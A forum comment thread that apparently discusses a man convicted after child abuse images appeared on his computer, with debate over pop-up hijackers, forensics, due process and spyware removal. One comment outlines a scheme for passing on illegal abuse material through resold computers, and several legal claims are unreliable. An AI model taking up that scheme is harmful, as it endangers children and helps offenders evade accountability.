Why would you be tutoring a neighbor kid anyway? you might as well just avoid all the other steps and register yourself as a sex offender right off the bat. I make sure to NEVER talk to my neighbors and always hurry from the car to the house without making eye contact with them if they try to start a conversation. One almost ambushed me and stood between me and my door but I kicked him in the nuts and ran into the house.

Re:Child Porn or what?

[JesterXXV]

Anybody can disagree with me if they like, but this kind of shit isn't a stretch.

Yes, it is. You just made up some scenario, and passed it off as likely. Your imagination of an event has no bearing on its actual probability of occurring. I'd like to say something like "the plural of anecdote is not data," but this isn't even an anecdote - it's fabricated to suit your agenda. It's propaganda.

Re:Child Porn or what?

[Anonymous Coward]

"in today's world"

Outside of the U.S., this thing is not blown out of proportions.

Re:Child Porn or what?

[mibus]

Brian Rothery, a former IBM systems engineer who has been researching Jack's claims, pointed out that a significant portion of the images and URLs cited in the arrest papers are from fairly tame nudist sites, as well as adult sites that do not contain illegal materials.

Right - so this guy was paid to check out porn. Maybe I should get that written into my contract too! ;)

Re:Child Porn or what?

[KingOfBLASH]

Who said he was getting paid? Lots of people would have no problems doing that kind of work pro bono. ;)

Re:Child Porn or what?

[caluml]

Don't mod a post redundant if you haven't checked the time stamps.

Redundant doesn't just mean time. It can mean something that's obvious. EG, in a story about IBM suing someone, a post that says "IBM is a big US company" would be redundant, i.e. unnecessary, superflous.

Re:Child Porn or what?

[jazman]

" Some of the images were found in unallocated file space, and would have to have been placed there deliberately since cached images from browsing sessions wouldn't have been stored in unallocated space."

That bothers me slightly. What is "unallocated space?" Deleted files? Is he guilty because he saw some images that sickened him so he deleted them?

Re:Child Porn or what?

[ymgve]

Not only that - Internet Explorer itself deletes stuff from the cache when it's filled up. I wonder whose side these 'experts' were really on.

Re:Child Porn or what?

[julesh]

What I don't get is this:

Some of the images were found in unallocated file space, and would have to have been placed there deliberately since cached images from browsing sessions wouldn't have been stored in unallocated space.

If by 'unallocated space' they mean 'not allocated to any files on the system', i.e. 'deleted', then stuff from the cache gets deleted regularly. Your unallocated space is probably full of web cache.

Re:Child Porn or what?

[sql*kitten]

You just made up some scenario, and passed it off as likely. Your imagination of an event has no bearing on its actual probability of occurring.

The BBC would disagree with you.

Prosecutor John Warren, QC, told the jury at Nottingham Crown Court that in the days leading up to the attack, rumours had been circulating that Mr Murray had sexually assaulted a girl.

The court heard Mr Murray had been beaten at his home, where he was left staggering, frightened and bloodied.

Almost three hours later, Mr Murray was standing at a bus stop on the A61 at Stretton, Derbyshire, when he was subjected to the fatal attack.

Re:Child Porn or what?

[glesga_kiss]

I make sure to NEVER talk to my neighbors and always hurry from the car to the house without making eye contact with them if they try to start a conversation.

Although intended as comedy, there is a lot of truth in this. You can't even smile at a cute baby these days without accusing glares.

The result of this however does not bode well when your kids go missing. I'll be damned if I'm going near a kid that looks lost, unless I've got at least 20 witnesses I trust to back me up and say I did the right thing in offering to help. If I'm on my own, I'm not taking the risk. Your kid can rot as far as I care!

Re:Child Porn or what?

[CmdrGravy]

It's rapidly getting that way in the UK now as well.

Everyone should watch Chris Morris' Brasseye 2001 Paedophilia special since I now seen several 'current affairs' programs which would be even more ridiculous and sensationalist were they not actually trying to be serious.

Re:Child Porn or what?

[swv3752]

It is still quite a possibility. Child porn does not have to be actual child porn. If an image of an immature looking twenty year old is found, it can be enough to convict you.

Re:Child Porn or what?

[tompaulco]

More importantly, since his computer was at home, how did they know what he was looking at? Did his ISP rat on him, or was one of the popups actually from a police sting? Perhaps they raided his house for other reasons, something that might have involved files on his computer, but found this instead, or in addition. Far be it from me to say that an article might leave out non-alarmist information.

Re:Child Porn or what?

[dasmegabyte]

God, where do you live? That's hardly the situation around here.

My wife and I are always talkative to neighborhood kids. We have a puppy, and when we walk her, they swarm us. Their parents don't give us disapproving looks, despite the fact that we're new around here and nobody know us from Adam. Most are really friendly, probably as a result of our humouring their kids.

I've never gotten discouraging looks for playing with my friends' kids, either. This weekend we were playing football and cards with my friend's cousins...their parents were happy to get them out of their hair and occupied! I've gone on trips with my brother's scout troop to teach them kayaking, and visited his school to give a Q & A talk on the Internet. People seem thrilled that a young people are willing to spend time with their kids. My friends in Big Brothers/Big Sisters tell me the same.

Methinks maybe you're a bit sensitive, and you're allowing a few paranoid people to skew your vision. So long as you're not creepy about it, people like their kids to have older role models. It's one of the keys to growing up. I myself had a number of older friends, including several male teachers and a couple who used to help me with Chemistry.

Re:Child Porn or what?

[glesga_kiss]

I'm UK based, and the pedo fever here is far worse than the USA. The tabloid media has hit the subject so hard that everyone is suspious of everyone. And as you say, that's really bad for the kids growing-up process.

I would be genuinely aprehensive about helping a lost kid nowadays. If the parent was to turn up just as you started talking, well you can kiss your job, your friends and your family goodbye. No smoke without fire etc.

You can't even smile when you see a bunch of kids having fun without somebody assuming you're getting sexual gratification out of it.

Re:Child Porn or what?

[strike2867]

My old neighbors were awesome. They called the police on me 3 times. They did it because they thought I was a bad driver and would probably kill them. Ironically I still have never been in an accident. Even more ironically, I once saw the father of their family destroy both their garage and a brand new SUV at the same time. He didn't realise that the SUV was too high to get into his small one car garage, so he drove in as fast as possible (Im guessing he was trying to fit through), neither the SUV nor the garage made it in the merger. One time his wife walking her dog, and I had just turned the corner on my way to the University. As I turned the corner, she jumped sideways onto the grass. As I passed her, at least 30 seconds later, she was screaming something and waving her fist. The reason I passed her 30 seconds later were not because I had slowed down, but mostly because it was a turn much greater than 90 degrees, and my car could not take it at 200 miles an hour(the speed it would take for me to hit her considering she was at least 50 yards away from the turn). I drove by normally, completely surprised at what she did. When I came home a couple hours later my father told me the police had visited my house, we had a good laugh. She even told the police I flicked her off. All I could remember was looking at her like she was crazy.

Re:Child Porn or what?

[bruthasj]

Case in point.

Give us a call when it happens.

Re:Child Porn or what?

[JesterXXV]

If an image of an immature looking twenty year old is found, it can be enough to convict you.

Are you a lawyer, or did you just make that up?

Re:Child Porn or what?

[swv3752]

There have been several cases in the past couple of years. I think a couple might have made slashdot. Things have gotten a bit worse under Ashcroft.

Re:Child Porn or what?

[swv3752]

The Law is that if it looks underage without definitive proof otherwise, it can convict you. This hold true even for fiction, like say a cartoon. So if say youu have some hentai anime and the Judge/Jury decides the "heroine" is underaged and not just a small asian woman, then you are guilty of possesion.

Apparently the UK just passed a similiar law.

Re:Child Porn or what?

[bwy]

How many teachers have lost their jobs based solely on the accusations of children? I know of one, personally, but don't know many teachers so I would assume the numbers nationwide are greater. The truth is, people are in fact sometimes found guilty in a "his word against mine" type situation.

Having circumstantial evidence that a jury might view as repulsive (i.e. porn) is just going to make it worse.

Re:Child Porn or what?

[KingOfBLASH]

My biggest pet peeve on slashdot is the following method to karma whore:

1. Somebody reading the article / OP hits reply and types in something that is worth modding up. But lots of people have already replied so it gets posted as the 50th comment or so.
2. Karma whore reads it, says "I want to be modded up".
3. Karma whore goes to first or second post that's highly modded up, hit's reply, types in reworded comment.
4. Mods see Karma Whore's comment first, mod him up and mod the person who posted the thing earlier down.
5. Karma Whore = 5 Whatever. First person who posted it is now -1 Redundant

Caught in the Act?

[coupland]

While I respect this guys rights and wouldn't presume to accuse him of anything, I certainly cannot defend him without reading the court transcripts. ANYONE who was caught in the act of downloading kiddie porn would claim their PC was "hi-jacked" so I don't think this is a defense of any kind, in and of itself. I don't think the feds are technically literate, but I also don't think they're fools. I have a hard time believing they charged someone with downloading kiddie-porn when all that really happened was he saw some pop-ups, like you and I (unfortunately) see a million times a day. Something else took place here.

Re:Caught in the Act?

[sfjoe]

I have a hard time believing they charged someone with downloading kiddie-porn when all that really happened was he saw some pop-ups, like you and I (unfortunately) see a million times a day.

Yes, because we all know that the feds are only interested in charging criminals and never ever arrest someone for the newsworthiness of their arrest. Just ask Richard Jewell

Re:Caught in the Act?

[the quick brown fox]

I also found this paragraph extremely suspicious:

Jack originally believed that the images found on his computer were from a previous owner -- he'd bought the machine on an eBay auction. But he now thinks a browser hijacker may have been responsible.

If he was really getting pounded with tons of porn popups whenever he started a browser, why would he ever have believed the images were from a previous owner? Sounds like he's jumping on a convenient new excuse that happens to be making the rounds in the media.

Re:Caught in the Act?

[0111 1110]

You can't download kiddie porn from the internet. How long do you think a web site hosting genuine k-porn would last? People get a little common sense please.

Re:Caught in the Act?

[Elwood P Dowd]

ANYONE who was caught in the act of downloading kiddie porn would claim their PC was "hi-jacked" so I don't think this is a defense of any kind, in and of itself.

Yes, yes it is. If ANYONE could claim it, and it cannot be disproven, then it is a valid defense for ANYONE. Innocent until proven guilty. Please, repeat to yourself.

It is unnacceptable to convict someone of a crime when we cannot prove that they are guilty. If someone commits a crime, and there is no evidence proving their guilt, then they do not go to jail in the USA. What part of that is complicated? What part of that do you disagree with?

That said,

I certainly cannot defend him without reading the court transcripts.

Me neither. Keep in mind, though, the Feds are not in the business of proving people innocent. They do not care if "the perp" is innocent. They care what their conviction rate is. Cop mentality.

Re:Caught in the Act?

[nine4mortal]

ANYONE who was caught in the act of downloading kiddie porn would claim their PC was "hi-jacked" so I don't think this is a defense of any kind, in and of itself.

I find this to be some of the more frightening reasoning I have seen here in a while.

We are supposed to be innocent until proven guilty beyond reasonable doubt. The burden of proof is supposed to be on the accuser and prosecutor, not the defendant. If we live in a world where malware can and does download images onto people's machines without their consent, then we live in a world where it is very hard to prove beyond reasonable doubt that somebody downloaded child pornography. Therefore it should be very hard to prosecute people for viewing child pornography.

The fact that a defense can easily be claimed by anybody should in no way undermine it. "I was not there" is an extremely common defense for murder cases. If the defense claims they were not present when the crime was committed it is up to the prosecution to prove they were.

In this case, if the defense said, "Malware downloaded those images against my wishes," then it is up to the prosecution to try and show malware is not to blame. They might, for example, offer that an expert examined the hard disk and found no malware. They might also have a taped phone conversation with the defendant bragging about his large collection of child pornography. However, if the prosecution cannot offer such evidence, then maybe a child porn viewer goes free. (Or maybe an innocent man is correctly found not guilty.) That is the price of placing the burden of proof on the accuser.

(Note I am not addressing the premise of child pornography being illegal here; I am accepting that it is.)

Re:Caught in the Act?

[ChaoticLimbs]

Look, I am an avid net user, and I do enjoy ahem, adult pictures (not at work) and I have never run across anything remotely illegal. Maybe it's because I am not looking for it? Maybe it's because I don't surf for it? Maybe this guy's story is just the concoction of his defense attorney. After all, these days, the defense isn't just to highlight the facts which support a not-guilty verdict, it manufactures falsehoods intended to FOOL a jury. There is a significant difference between the two. I am in favor of prosecution of attorneys who willfully cause false testimony to be delivered by their witnesses. The "reasonable doubt" clause does not include fairy tales of "what if". It means that a reasonable person would say that the case against the defendant has been proven beyond the point where a reasonable person would assume otherwise. There really should not be defense attorneys making up stories for their clients. That is criminal.

This guy does appear to have the opportunity for a reasonable defense (I have not seen the evidence) so long as the timestamps on the files saved deliberately to the harddrives match a time before he acquired the machine. If the files on the drive are all they have, the prosecution runs the risk of convicting his computer but not him.

Re:Caught in the Act?

[nessus42]

You can't download kiddie porn from the internet. How long do you think a web site hosting genuine k-porn would last? People get a little common sense please.

Yes you can. Read my other post in this thread for proof of this. The hosts in question were in Russia, or somesuch.

|>oug

Re:Caught in the Act?

[danharan]

This could actually be great news.

All those currently having a moral panic over kiddie porn might switch some of their energies to those companies peddling malware.

Oh, and companies like Microsoft that allow those things to be installed.

Re:Caught in the Act?

[hexgrid]

Yes, because we all know that the feds are only interested in charging criminals and never ever arrest someone for the newsworthiness of their arrest. Just ask Richard Jewell

How is this insightful? The very first link in the google search is "Richard Jewell to get more than $500,000 from NBC." It was the media, not the "feds," that screwed Richard Jewell over.

Re:Caught in the Act?

[swv3752]

Have you viewed any European girls? Seen images of 18--19 yearold teens? Any of them look a bit shall we say immature? Just appearing to be underage can qualify a photo as child porn. Even worse, the Law makes no distinction between 10 and 17 in age. How wold you like it if you got convicted of Child porn fo view images of girls like Gauge? In many images it would be questionable if she was underage. Take a lesser known girl and you could be in a world of hurt.

Re:Caught in the Act?

[sfjoe]

How is this insightful? The very first link in the google search is "Richard Jewell to get more than $500,000 from NBC." It was the media, not the "feds," that screwed Richard Jewell over.

The media arrested him?
The media searched his home?
The media told him they were making a training video and wanted him to play the part of a suspected bomber?
What color is the sky in your world?

Hate breaking it to you...

[Tuxedo Jack]

But now the Transponder gang (ABetterInternet) are making .xpis to install their shit in Firefox/Mozilla.

And yes, CoolWebSearch is a goddamned pain to get rid of. New variants are immune to Merijn's CWShredder; they require specialized tools (pv.exe, TheKillBox) to remove, and some even require booting to a command line (nearly impossible in XP/2000).

One guy at my office accidentally got some CWS variants on his machine, and the IT department - myself included - went through the router logs (school district, have to keep the logs, state law here) to see where he got it. This resulted in his getting fired (free pr0n site, and yes, he was logged in as himself).

In short, these little bastards really _can_ ruin your life and your machine.

Re:Hate breaking it to you...

[Kenja]

"One guy at my office accidentally got some CWS variants on his machine, and the IT department - myself included - went through the router logs (school district, have to keep the logs, state law here) to see where he got it. This resulted in his getting fired (free pr0n site, and yes, he was logged in as himself).

In short, these little bastards really _can_ ruin your life and your machine."

You dont think his looking at pron from work had anything to do with it do you?

Re:Hate breaking it to you...

[poulbailey]

> But now the Transponder gang (ABetterInternet) are making .xpis to install their shit in Firefox/Mozilla.

The Mozilla team is actively battling that. I'm confident that they won't let the situation escalate to IE proportions.

Firefox 0.9 will have a whitelisting permission system that disallows the installation of XPIs that don't come from trusted sites. It'll ship with a default list and let you add to it yourself as well.

It'll also block XPI installation triggered via onload, onmouseout and onmouseover. Check out bug 240552 and bug 238684 on Bugzilla for more on these issues (not linked because of a /. referer check).

Re:Hate breaking it to you...

[Tuxedo Jack]

No, it doesn't have much to do with me, except that I'm the resident antispyware guy at my school. That, and I'm a Helper on SWI.

I also had to break the news to the guy that he got canned. Let me tell you, there's nothing to bring your day down like that.

Re:Hate breaking it to you...

[42forty-two42]

But now the Transponder gang (ABetterInternet) are making .xpis to install their shit in Firefox/Mozilla.

Well, that's what konqueror is for. Plus it's faster IME. [though some sites it mis-renders still]

Re:Hate breaking it to you...

[imroy]

Ok, a whitelist sounds like a good idea. But check this shit out. It's from a recent spam I recieved. Just download this EXE file to stop SPAM and pop-ups! It even has a shot of the IE download dialog box with the "OPEN" button circled, showing morons exactly what to do. How long until we have something similar for Mozilla, with the "Whitelist this site" button circled.

We either have to kill all stupid people (oh I wish...) or come up with a perfect (or nearly perfect) method to "protect" people stupid enough to run executables from unknown sources. Perhaps one solution is to have realtime blacklists like is used to block SPAM. Implement it in DNS like most of the RBL's so that the information is distributed and cached well. How does that sound?

Re:Hate breaking it to you...

[FauxPasIII]

> "protect" people stupid enough to run executables from unknown sources.

I think if we can whittle the problem down to where it's just the people that are hitting 'open' when downloading an .exe that are infected, then we'll be doing damn well. As it stands, just running outlook with the preview pane enabled is pretty much a crackshot guarantee that you'll have malware on your system inside of a week.

Re:Hate breaking it to you...

[AKnightCowboy]

some even require booting to a command line (nearly impossible in XP/2000).

Nearly impossible? Hit F8 when your computer is booting up and select command line safe mode. How hard is that?

As for all these people complaining about spyware, you're just asking for it running that piece of crap operating system as a day-to-day system. Run it once in awhile as a gaming system if you must, but for general web browsing, e-mail, office work, etc. get a Mac or use Linux.

Re:Hate breaking it to you...

[FuzzyBad-Mofo]

Is there a way around the XPI install prompt, or are they relying on the ignorance of users who will OK to anything?

Re:Hate breaking it to you...

[FryGuy1013]

Except, with Mozilla you cannot click the "Open" button when an EXE is downloaded. You have save it to disk, then open the download manager and double click on the file.

Re:Hate breaking it to you...

[imroy]

Perhaps you didn't follow this thread. We're talking about this sort of malware now being available as Mozilla XPI's and how they could be whitelisted/blacklisted. I pointed to a web page with a big screen-capture showing the click-n-drool morons to hit the "open" button. My point was that a user-contolled whitelist would be ineffective when the user doesn't understand what they're doing, and are even instructed to do the "wrong" thing by a malicious web page graphic. Quite a few recent email worms haven't had to do anything really clever except ask the recipient to click on an executable attachment or even open a zip file and "open" a file (named "document.txt<lots of spaces>.exe"). So it seems that most people are really quite "stupid" and still don't understand what is wrong with their actions.

Re:Hate breaking it to you...

[Tuxedo Jack]

"Nearly impossible? Hit F8 when your computer is booting up and select command line safe mode. How hard is that?"

Jesus, when was the last time _you_ used Windows? There's no more DOS anymore. You have to boot off the XP/2K CD, run Setup, and get into the Recovery Console. Even then, it still lacks tons of command-line features.

Re:Hate breaking it to you...

[teh_greatest]

uh, are you talking about the install pop-ups?
ou click on the X inthe top right corner instead of OK or YES.

Re:Hate breaking it to you...

[karmatic]

Give it a try sometime. Believe it or not, you can still start into a command line. It's the reduced "MS-Dos Console" present in windows xp, but it's still usually good enough to get the job done.

It sure beats the recovery console, that's for sure.

Re:Hate breaking it to you...

[Tim C]

When you download a file in Mozilla (as of 1.6 at least), the download manager opens automatically. Once the download has finished, you can just double-click the file to execute it.

Alternatively, Mozilla still has an IE-like "single file download dialogue" - either configure it to not use the download manager, or double-click on a file while it's downloading (I think). That has the "Open" button on it.

Of course, this thread is actually about .xpi files, which do not require explicit downloading. You just get a "do you want to install this?" dialogue - as I did when browsing a site a month or so ago (sorry, I forget which). Of course I clicked "no", but experience shows that a lot of people will click yes. Hell, my manager at work (who was a Senior Programmer with about 17 years experience before he was promoted recently) has been known to not really read the dialogue and just click "yes" absent-mindedly, as he was concentrating on something else at the time, and he's no clueless luser. Fortunately that wasn't anything too nasty, but it just goes to show that everyone makes mistakes sometimes.

These things are coming for Mozilla-based browsers and hence to Linux. It's only a matter of time.

Re:Hate breaking it to you...

[julesh]

and some even require booting to a command line (nearly impossible in XP/2000).

Utterly impossible in XP/2000, but then I'm fairly sure there isn't actually anything that you'd need to for.

Do you have evidence that you would have to do this?

[FWIW, I've had to remove a CWS variant from Win98, and didn't have to reboot to DOS to do so, although use of a command prompt was necessary to delete files it had installed in C:\Windows\Fonts]

Re:Hate breaking it to you...

[FuzzyBad-Mofo]

I'm talking about Gecko's (Mozilla, Firefox, etc) XPI installer, which will prompt the user if they really want to install the software. What are you on about?

Re:Hate breaking it to you...

[Paulrothrock]

Wow! I sure am glad I use a Mac!

Go ahead, mod me flamebait... :-D

Re:Hate breaking it to you...

[bhtooefr]

Konq on MDK10C fscks the /. profile page, for one...

So, that's what Opera's for, you mean. Plus, it's MUCH faster, IMO.

Re:Hate breaking it to you...

[bhtooefr]

Last time I did that, it just meant it listed every driver it started as it went into Safe Mode, and then fired up the GDI (in case you haven't used Windows, think X, the window manager, and CUPS).

Re:Hate breaking it to you...

[Tuxedo Jack]

Yeah. Look up the new Look2Me variants - you have to boot to DOS in 98 to remove them, and in 2K/XP (NTFS file systems ONLY), you need the CD to boot to the recovery console.

Re:Hate breaking it to you...

[42forty-two42]

Konqueror 3.2.1 handles the slashdot user pages perfectly. Which version are you using?

Re:Hate breaking it to you...

[bhtooefr]

Whatever comes standard with MDK10 Community (probably something between 3.2.0 and 3.2.1)...

Of course, I prefer Opera for other reasons anyway, so it doesn't matter that much to ME, but...

Humm... I don't know

[lecithin]

I'd think that log files would show you a fast series of "pop-ups" and it should be fairly easy to defend yourself. If true, I'd like to know what his search string was and what search engine.

Re:Humm... I don't know

[Ledora]

you could easily make a pop up to pop up a google search for kiddie porn.

Theres got to be something we dont know!

[need2jive]

I seriously doubt that anything would be convicted as a sex offender just by a hisory of websites that his browser had been pointed to in the past. There has to be more to this than what we know.

Re:Theres got to be something we dont know!

[tverbeek]

There has to be more to this than what we know.

I wish I could be so confident of this. A really good prosecutor with a jury drawn from a prudish community can get a pretty severe conviction. On the other hand (perhaps more relevant to this case), a not-especially-good defence attorney who doesn't believe that strongly in his client's innocence (moral or legal) can negotiate a pretty lousy settlement.

Re:Theres got to be something we dont know!

[cyril3]

In no jurisdiction that I know of is it a crime to be a sex offender. You have to do something. In this case AFAICT he is being charged for possessing photos. The evidence is the photos in the cache. The list of sites visited is evidence that shows how he got them.

He failed (or was convinced he would fail) to show a jury that there was the required level of doubt that he in fact did it or that it could be explained by an alternative eg. the work of browser hijackers.

Once again...

[canwaf]

Once again absolute rules screws common sense. If there is no intent, there should be no crime. The man probably didn't want to open up the string of popups, therefor is not responsible for this.

Re:Once again...

[iminplaya]

If there is no intent, there should be no crime.

Without telepathy, how can anyone really prove intent? All you fancy lawyer types can spew all legal code you want. It still boils down to "what was in his head". The best way to find that out would be to feed him a litre of vodka, I suppose.

Re:Once again...

[tftp]

For example, if the cache holds 100 images, and all were timestamped within 10 seconds, it sure looks like an automated sequence. But if the images are timestamped 30 seconds from each other, then it is logical to see a browsing pattern there.

Technical error

[42forty-two42]

Some of the images were found in unallocated file space, and would have to have been placed there deliberately since cached images from browsing sessions wouldn't have been stored in unallocated space.

All that means is that the cache got full, and those pictures were deleted. There's no point in putting data in unallocated space to begin with, and anyone with the technical skills to do so (add data without allocating a file) wouldn't be caught so easily.

Re:Technical error

[FartingTowels]

I guess they meant unallocated as in "not allocated for browser cache", e.g. in c:\myporn

Re:Technical error

[Anonymous Coward]

Yes.

I actually think it should be possible for a browser to encrypt the cache, with disposable keys. Age out some material, irrevocably throw away that key. This affects more than porn - other personally or politically significant material could be at issue, especially in certain repressive nations. Is there a Mozilla plugin for this?

On the other hand, I once worked for a public institution where we used browser cache files as well as other audit trail material (some of it being of my design) to bar an individual who was abusing our public Internet service by repeatedly viewing inappropriate (but legal) material in plain sight of others, including children. Since we had a usage policy that the individual had agreed to, this was quite reasonable. So whether to conceal cache contents needs to be in the control of whomever controls the equipment and software - there are cases where the ability to use the cache as a part of an audit trail (a particularly concrete part) is useful.

Re:Technical error

[jpetts]

There has to be more to this than what we know

My thoughts entirely. The first question I asked myself was WHY were the Feds raiding his house in the first place?

Re:Technical error

[Kenja]

"My thoughts entirely. The first question I asked myself was WHY were the Feds raiding his house in the first place?"

Because his employer found kidi porn on his work computer and turned him in. RTFA as the saying goes. That it was on his work AND home computer makes his story very hard to believe.

Re:Technical error

[DeepRedux]

While the story was not very clear on this, I do not think that the Feds were involved in this at all. First, it says that the "police" raided his house. This usually refers to local or state law enforcement, not federal. Also, there was a link to the Minnesota Predatory Offender Registration and Tracking Program. So this was probably a local or state of Minnesota, not a federal, action.

Re:Technical error

[Foolhardy]

On Windows (2k or later) you can use transparent file encryption. You could set your entire chache directory (either Internet Explorer or Mozilla, or any other file) to be encrypted. The key for encryption is based on the user's password: it's not stored on the computer. If you forcibly reset a user's password, the key is permanently lost. It appears to be a normal file to applications, so no support from them is needed.

Not that it would have been terribly usefull to the guy in the article, since he apparently didn't even know how to forcibly close windows (without using the close button).

Re:Technical error

[object88]

IF the porn ended up on his machine strictly due to his web-browsing (and not do to a previous user, ala the eBay purchase theory), and it came from a search engine, then it's likely that the data would end up on both his work and home machine. Personally, I browse the same places at work and home... of course, they aren't search engines with porn pop-ups.

I'm not saying he did or did not do anything, just thinking out loud.

Re:Technical error

[NoMoreNicksLeft]

The kind of person who would install Bonzi Buddy on his work computer certainly wouldn't miss the chance to install it at home too...

Re:Technical error

[ry0n]

"Hello everyone. My name is Ramzi. Today I will teach you how to download Warez. The software I use is Kazaa the K++ edition. I like Kazaa Lite, why? Because it is ad free and no spyware. ok lets find some War...Ez. I will search for bonzi buddy. See now i download -- its free but be careful some software costs money. Thanks everyone. I am Ramzi. This is your hacker tip of the day. Peace to the broken crew. You all leet."

Re:Technical error

[julesh]

Where exactly does it say this in TFA? I can't find it.

Re:Technical error

[bhtooefr]

I think it's quite possible, if the computers he used at work were as insecure as the ones at my school. I know many people use *insert default search engine here*, or if they do use Google, they'll click on a result that is one of those "search engines" that point to pr0n, spyware, and scams that wasn't what was looked for. Add that to the fact that they've made the public share not so public (it was mostly used for Opera, and a few games), and now almost everyone uses Internet Explorer. Insecure IE, and Google Toolbar won't install w/o an admin password. ARRGH!

I'm tempted to grab my old P233MMX box and make it a Samba server once it gets replaced by a Duron 1.8GHz. Anyone got suggestions for a good premade distro, as in throw-it-on-give-it-a-hostname-and-you've-got-a-Sa mba-server?

Hmmm...

[dkirchge]

I may be expecting too much here, but it seems logical to me that even the most clueless luser might suspect that something was amiss if a flood of porn started popping up out of nowhere and at least ask a literate friend what's up. Like the first poster, I'm a little suspicious that this type of problem could go unnoticed for very long.

Re:Hmmm...

[dubstar]

Not everyone has computer literate friends to help them out of the porno-pop-up-swamp. Just last week I was tech supporting a lady over the phone with a similar problem, she had no idea where they came from, and may have even thought that it was normal to have all this crap coming at her (no pun intended) on the internet. It was completely beyond my job to help her out with that, but I couldn't stand doing what I was trying to help her do with all that shit popping up.

I think it's time the authorities start acting on these types of programs for what they are. I mean, altering browser security settings, adding trusted zones, installing new versions of themselves and other programs without the consent of the user - sounds an awful lot like a virus to me.

Where's the $250,000 for the author of CoolWebSearch, Bill?? I'd gladly track them down.. I could use the money to buy a machine to run Longhorn on!

Re:Hmmm...

[xRelisH]

I'm not sure, if I was in a similar situation and wasn't very computer literate, I would probably panicking to myself, and would be too embarassed to tell anyone else ( and thus make it as if it never happened )

Re:Hmmm...

[Unregistered]

Most people consider it a normal computer-related nuiscence. it's so common in win/ie that most people have to deal with it. Also, everyone gets porn spam and the masses don't realize there's a difference and they even hear "gurus" complain about porn spam.

Re:Hmmm...

[dkirchge]

Good points everyone! I tend to forget that not everyone has access to techie friends to help them out. Maybe this is something that could be addressed in those lovely startup tutorials OEMs seem to like putting on computers. I know it won't help someone who buys a secondhand box, but it's at least an opportunity to get these concepts in front of users.

Re:Hmmm...

[CmdrGravy]

I wouldn't bet on that, whenever my friends have asked to me look at their computers I always find their hard drives are infested with various porn dialing exe's and other nasty crap. Quite often IE has been hijacked as well. However it's never these problems I am looking at their computers for but always something else - installing Office etc.

Amusingly all of them claim they have never ever even been near any porn sites and have certainly never downloaded anything and agreed to save it on there drive or run it - never, not once. These things just magically happen to them.

I'm sorry for your marriage

[FartingTowels]

"My wife and I separated for a time because she thought I was looking at porno"
Something must be really fscked with your marriage if this is the case - the computer is not at fault here.

Re:I'm sorry for your marriage

[Anonymous Coward]

Perhaps their marriage vows included the phrase "forsaking all others". And perhaps they both at the time understood this to mean "not looking at porn". If so, then it doesn't matter so much whether you think looking at porn is objectively wrong or right; if you vowed not to do something as part of your wedding vows, and if your spouse believes you are doing whatever that is, then your spouse would have a right to be upset.

Re:I'm sorry for your marriage

[Omnifarious]

Wow, a sane comment! From an AC no less.

Re:I'm sorry for your marriage

[rat7307]

Remember:

It's OK to look at the menu, as long as you don't eat at the restaraunt!

Re:I'm sorry for your marriage

[Canberra Bob]

And perhaps he never got any, ever. In which case I do not blame him one bit.

We can perhaps all we want, if she left him because he was looking at porn, rather than discussing it through with him, I would think there is something else at play here rather than just that.

Porn Comment

[Vortex_ICS]

at the end of the article you can read : Some of the images were found in unallocated file space, and would have to have been placed there deliberately since cached images from browsing sessions wouldn't have been stored in unallocated space. maybe he was indeed downloading some clown porn :D

Might not have been the pop-ups even

[bcore]

After all, how often do you see pop-ups with child porn on 'em? I certainly know I never do, even when I'm forced to use IE

The dude in question claims that he bought the computer on eBay, which is a whole other ball of wax. If you buy a used computer, and can prove you did so, are you legally responsible for what might have been on it when you bought it?

I totally have no idea what the right answer to that would be.

Re:Might not have been the pop-ups even

[nkh]

- One Swedish made penis enlarger pump!
- That's not mine!
- One credit card receipt for Swedish made penis enlarger signed by Austin Powers!
- I'm telling you baby. That's not mine!

Re:Might not have been the pop-ups even

[Chump1422]

You're not responsible if someone else put porn on your computer. Crimes generally require 2 elements (I'm a law student):

1) Mens Rea, or intent. Clearly no intent there. Sometimes crimes don't require this, but almost all do. Intent might be satisfied by meaning to download a "barely legal" video, though. It's like if you swear she looked 18, you can still go to jail for statutory rape.

2) Actus Reus, or criminal act. Depending on the statute, possession might be a crime. So he could be liable just for that.

It's unlikely he would be found guilty without at least meaning to download something pornographic.

Re:Might not have been the pop-ups even

[Jahf]

Although this does open up a whole new way of distributing child porn or other illegal materials. Load up the computer, sell it on Ebay for cash-only, mail with a fake return address ... the receiver can prove -they- didn't put the stuff on there (wouldn't be too hard, timestamps from before the sale) ... the seller can charge a premium for the added insurance.

Better yet, delete the files on a recoverable filesystem or put them in a hidden directory so that the receiver has an even better excuse for not having seen them.

So even if this guys is innocent, the next time the defendant might not be.

Re:stop this? me?

[Ledora]

mac, linux or paper. Avoid MS and avoid problems

Re:stop this? me?

[Ro0tSiEgE]

use mozilla

Spyware Woes

[RabidChicken]

I love Mozilla Firefox, love it. The AdBlock plugin and a custom host file keep me free of almost all ads, flash banners, and otherwise annoying Internet ads.
However, we like to preach about just switch and all your problems go away. For the most part that holds true, a switch to Linux, or even just Mozilla infinitely improves the quality of the computer.
However, most of the spyware comes as a result of user initiated stupidity or ignorance.
Now I understand stupid default choices by Microsoft and browser cause most of these problems, but if Linux does become a major player on the desktop (god willing) I think we will see more crappy scumware. Linux isn't a magic pill, just a better designed OS. It isn't idiot proof.
Right now I'm going to keep on recommending Firefox and keep getting signatures to get my school to, but in the future, I hope at least most of these problems will go away with the switch to linux (but I doubt it).

Re:Spyware Woes

[Gldm]

Now if only they'll let me run an executable directly instead of having to copy and paste it to IE I wouldn't need another browser installed anymore. Whatever happened to letting people do whatever they wanted with their software? I'm tired of having to save and hunt for driver updates in my temp directory, or dig for anything I was forced to save because some moron made a self executable zip file instead of a standard one. Just let me run the damn file, I know what I'm doing. You wanna protect people? Fine, make it an option with default to on and I'll just turn it off on my browser. Telling me I can't do this with the browser because of "security reasons" is retarded and contradictory to the stated design philosophy. You might as well just force my homepage to your site and say "Oh we can't let you change that for security reasons."

Re:Spyware Woes

[Lehk228]

win RAR can open the inside of a sfx zip file

Re:Spyware Woes

[Gldm]

Wow really? I never would have guessed that. (/sarcasm)

But how does that solve the problem of the browser won't let me open an exe without saving it first?

Re:Spyware Woes

[Lehk228]

It won't run an executable without saving it, too dangerous, if you want to specify where it downloads go to Tools>Options>Dowwnloads, under Downloads Folder either set "Ask me where to save every file" or point "save all files to..." to your desktop

Re:Spyware Woes

[Gldm]

